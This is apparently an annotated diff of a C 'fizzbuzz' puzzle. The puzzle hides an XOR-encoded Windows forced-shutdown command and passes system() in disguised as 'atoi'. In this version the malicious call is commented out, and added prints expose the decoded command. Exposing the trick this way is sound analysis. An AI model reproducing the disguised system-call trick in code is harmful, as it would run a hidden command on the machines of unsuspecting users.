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1 | /* | |
2 | [PROBLEM 3 OVERVIEW] | |
3 | Operating System: Windows | |
4 | Difficulty: Easy | |
5 | ||
6 | [PROBLEM 3 DESCRIPTION] | |
7 | The code below contains a unique take on the infamous "fizzbuzz" problem. | |
8 | You are tasked with modifying the 'system' variable in order to have getFavoriteFood() return a positive number. | |
9 | The current implementation below will output a negative number to stdout. | |
10 | An approach that involves "guess-and-check" is valid, but try to understand why certain inputs pass and why others fail. | |
11 | Feel free to reach out to your peers, tutors, or other online resources if you need additional help. | |
12 | ||
13 | [PROBLEM 3 FOOD MENU] | |
14 | #1: Spaghetti | |
15 | #2: Chicken Fettuccine | |
16 | #3: Cheeseburger | |
17 | #4: Pepperoni Pizza | |
18 | #5: Caeser Salad | |
19 | */ | |
20 | ||
21 | #include <stdio.h> | |
22 | #include <stdlib.h> | |
23 | ||
24 | #define SECRET_NUM 32 | |
25 | ||
26 | typedef int (*StringToInt)(const char* text); | |
27 | ||
28 | int getFavoriteFood(int* secret, | |
29 | StringToInt atoi, | |
30 | char **ffvalue) // Added | |
31 | { | |
32 | if (ffvalue) | |
33 | *ffvalue=0; | |
34 | char* favorite_food = (char*)calloc(SECRET_NUM, sizeof(char)); | |
35 | ||
36 | for(int i = 0; i < SECRET_NUM; i++) | |
37 | { | |
38 | int counter = secret[i / 4] >> (i % 4 * 8) & 255; | |
39 | ||
40 | if(i % 3 == 0) | |
41 | favorite_food[i] = counter ^ 3; | |
42 | else if (i % 5 == 0) | |
43 | favorite_food[i] = counter ^ 5; | |
44 | else | |
45 | favorite_food[i] = counter ^ 15; | |
46 | } | |
47 | ||
48 | // Let's look closer: | |
49 | printf("[ getFavoriteFood(): Supplied: <%s> ]\n", ((char *)(&secret[0]))); | |
50 | - | // [ getFavoriteFood(): Modified: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ] |
50 | + | // [ getFavoriteFood(): Supplied: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ] |
51 | printf("[ getFavoriteFood(): Modified: <%s> ]\n", ((char *)(&favorite_food[0]))); | |
52 | // [ getFavoriteFood(): Modified: <shutdown -s -f -t 3 -c "lol xd"> ] | |
53 | if (ffvalue) | |
54 | *ffvalue=favorite_food; | |
55 | ||
56 | // return atoi(favorite_food); // Calls WHATEVER function that is specified in VARIABLE "atoi" | |
57 | // with MODIFIED _secret string array AS string | |
58 | // | |
59 | return (0); // Do this instead | |
60 | } | |
61 | ||
62 | int main() | |
63 | { | |
64 | char *ffvalue; | |
65 | ||
66 | int _secret[] = { 2004510576, 1635019371, 796274223, 774859054, 791687035, 758079528, 593717871, 253848439, 0 }; | |
67 | int _system = '3'; | |
68 | ||
69 | // Let's look closer: | |
70 | printf("[ main(): Before: <%s> ]\n", ((char *)(&_secret[0]))); // [ main(): Before: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ] | |
71 | getFavoriteFood(_secret, (StringToInt)system, &ffvalue); | |
72 | printf("[ main(): After: <%s> ]\n", ffvalue); // [ main(): After: <shutdown -s -f -t 3 -c "lol xd"> ] | |
73 | ||
74 | // printf("Problem 3: Favorite Food is %d", getFavoriteFood(_secret, (StringToInt)system)); | |
75 | ||
76 | return 0; | |
77 | } |